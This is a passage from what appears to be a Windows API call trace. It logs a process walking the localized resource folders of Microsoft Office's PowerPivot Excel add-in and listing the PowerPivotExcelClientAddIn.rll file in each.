dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0282.298] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf80d6078, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80d6078, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0282.299] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf80d6078, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80d6078, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0282.299] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0282.299] GetProcessHeap () returned 0xaf0000 [0282.299] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0282.299] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xffe01c35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffe01c35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffe01c35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1069", cAlternateFileName="")) returned 1 [0282.299] GetProcessHeap () returned 0xaf0000 [0282.299] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0282.299] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1069\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xffe01c35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffe01c35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffe01c35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0282.299] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xffe01c35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffe01c35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffe01c35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0282.299] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xffe01c35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffe01c35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11860, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0282.300] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xffe01c35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffe01c35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11860, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0282.300] FindClose (in: hFindFile=0xb03208 | out: hFindFile=0xb03208) returned 1 [0282.300] GetProcessHeap () returned 0xaf0000 [0282.300] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0282.300] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5afc9d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5afc9d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5afc9d3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1081", cAlternateFileName="")) returned 1 [0282.300] GetProcessHeap () returned 0xaf0000 [0282.300] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0282.300] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1081\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5afc9d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5afc9d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5afc9d3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02f08 [0282.300] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5afc9d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5afc9d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5afc9d3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0282.300] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5afc9d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5afc9d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11860, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0282.301] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5afc9d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5afc9d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11860, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0282.301] FindClose (in: hFindFile=0xb02f08 | out: hFindFile=0xb02f08) returned 1 [0282.301] GetProcessHeap () returned 0xaf0000 [0282.301] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0282.301] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a2268a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7abb0bc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7abb0bc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1086", cAlternateFileName="")) returned 1 [0282.301] GetProcessHeap () returned 0xaf0000 [0282.301] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0282.301] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1086\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a2268a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7abb0bc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7abb0bc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0282.301] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a2268a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7abb0bc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7abb0bc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0282.301] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x7abb0bc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7abb0bc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11860, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0282.302] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x7abb0bc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7abb0bc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11860, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0282.302] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0282.302] GetProcessHeap () returned 0xaf0000 [0282.302] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0282.302] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6355df6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6355df6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6355df6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1087", cAlternateFileName="")) returned 1 [0282.302] GetProcessHeap () returned 0xaf0000 [0282.302] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0282.302] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1087\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6355df6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6355df6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6355df6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0282.303] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6355df6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6355df6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6355df6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0282.304] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6355df6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6355df6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11c60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0282.304] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6355df6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6355df6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11c60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0282.304] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0282.304] GetProcessHeap () returned 0xaf0000 [0282.304] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0282.304] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf61fd8b4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61fd8b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61fd8b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1110", cAlternateFileName="")) returned 1 [0282.304] GetProcessHeap () returned 0xaf0000 [0282.304] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0282.304] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1110\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf61fd8b4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61fd8b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61fd8b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0282.305] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf61fd8b4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61fd8b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61fd8b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0282.305] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf61fd8b4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61fd8b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x112c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0282.305] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf61fd8b4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61fd8b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x112c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0282.305] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0282.305] GetProcessHeap () returned 0xaf0000 [0282.305] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0282.305] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc47ce76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc47ce76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc47ce76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2052", cAlternateFileName="")) returned 1 [0282.305] GetProcessHeap () returned 0xaf0000 [0282.305] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0282.305] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\2052\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc47ce76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc47ce76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc47ce76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0282.305] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc47ce76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc47ce76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc47ce76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0282.306] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc47ce76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc47ce76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0282.306] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc47ce76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc47ce76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0282.306] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0282.306] GetProcessHeap () returned 0xaf0000 [0282.306] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0282.306] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c40a24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c40a24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c40a24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2070", cAlternateFileName="")) returned 1 [0282.306] GetProcessHeap () returned 0xaf0000 [0282.306] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0282.306] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\2070\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c40a24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c40a24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c40a24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0282.306] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c40a24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c40a24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c40a24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0282.307] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1c40a24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c40a24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0282.307] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1c40a24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c40a24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0282.307] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0282.307] GetProcessHeap () returned 0xaf0000 [0282.307] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0282.307] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf17ee5c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2074", cAlternateFileName="")) returned 1 [0282.307] GetProcessHeap () returned 0xaf0000 [0282.307] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0282.307] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\2074\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf17ee5c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0282.307] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, 